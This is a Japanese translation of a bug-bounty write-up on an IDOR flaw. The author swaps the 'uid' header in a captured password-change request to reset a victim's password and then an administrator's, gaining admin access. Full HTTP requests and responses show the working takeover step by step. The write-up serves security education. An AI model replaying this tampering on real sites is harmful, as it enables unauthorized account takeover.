「IDOR leading to Privilege Escalation!」からIDORを学ぶ

Bug Report

ソース：

k4pil.medium.com

脆弱性：IDOR

 

訳：

IDORとは一体何なのでしょうか？

Web アプリケーションでは、ユーザーがサーバーからリクエストを生成、送信、受信するたびに、ユーザーに割り当てられた固有の値を持つ「id」、「uid」、「pid」などの HTTP パラメーターがいくつか存在します。
攻撃者は、Cookie、ヘッダー、または Wi-Fi パケット キャプチャでそのようなパラメーター値を確認できます。
これにより、攻撃者はこれらの値を改ざんできる可能性があり、この改ざんにより IDOR (Insecure Direct Object Reference) の脆弱性が発生し、改ざんされた値が参照するデータにアクセスされる可能性があり。

 

それで最近、私はウェブサイトを探索していました…そこにアカウントを登録し、ログインしました:) 
アカウントのパスワードリセットセクションに移動し、Burpsuiteを起動し。

 

そのため、最初はパスワード リセット ページに入力フィールドが 1 つしか表示されず。
これは単に検証のために現在のパスワードを要求するもので。
そこで、現在のパスワードを入力してさらに進み。

 

ページには 2 つの入力フィールドが表示され、1 つは新しいパスワード用、もう 1 つは新しいパスワードの確認用で。

Burpsuiteを開き。
両方の入力フィールドに新しいパスワードを入力した後、新しいパスワードを設定するためのリクエストを Burpにキャプチャし。

 

POST /login/changepassword HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
uid: attacker@gmail.com
device: Web
sec-ch-ua-platform: "Windows"
Origin: https://www.redacted.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"uid":null,"password":"newpassword","confirmpassword":"newpassword","dns":"www.redacted.com"}

上記のリクエストを見ると、パラメータは私にとってそれほど興味のあるものでなく。
また、他のバグがないかチェックしましたが、成功せず。

とにかく、上記のリクエストに現在のメールアドレスを含む「uid」という名前のヘッダーが表示されました。 一度確認してみることにし… 

 

私は被害者として機能する別のメールを使用してポータル上に別のアカウントを作成しただけで。
そして、「uid」ヘッダー内の自分のメールをこの被害者メールに置き換えて、リクエストを転送し。

 

POST /login/changepassword HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
uid: victim@gmail.com
device: Web
sec-ch-ua-platform: "Windows"
Origin: https://www.redacted.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"uid":null,"password":"newpassword","confirmpassword":"newpassword","dns":"www.redacted.com"}

 

被害者のパスワードを変更でき。

 

HTTP/1.1 200 
Date: Sat, 20 May 2023 18:55:52 GMT
Content-Type: application/json;charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Server: nginx/1.18.0
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{"msg":"200","uid":"victim@gmail.com","flag":"YES"}

 

これにより、水平的な権限昇格が発生し。
十分な時間があったので、Web アプリケーションをもう少し調査することにし。

そこで、ドメインに対してサブドメインの列挙を実行し。

結果のうち、「admin.redacted.com」という 1 つのサブドメインに注目し。

上記のリクエストの「uid」ヘッダーを通常の管理者メール「admin@redacted.com」に再度置き換えて、リクエストを転送して。 

 

POST /login/changepassword HTTP/1.1
Host: redacted.com
Connection: close
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
uid: admin@redacted.com
device: Web
sec-ch-ua-platform: "Windows"
Origin: https://www.redacted.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"uid":null,"password":"newpassword","confirmpassword":"newpassword","dns":"www.redacted.com"}

同じ応答が返されました…管理者パスワードが変更されたようで。

そこで、「admin.redacted.com」にアクセスし、新しく変更したパスワードを使用して管理者のメールアドレスを入力すると、中に入れて。

 

ほなほな。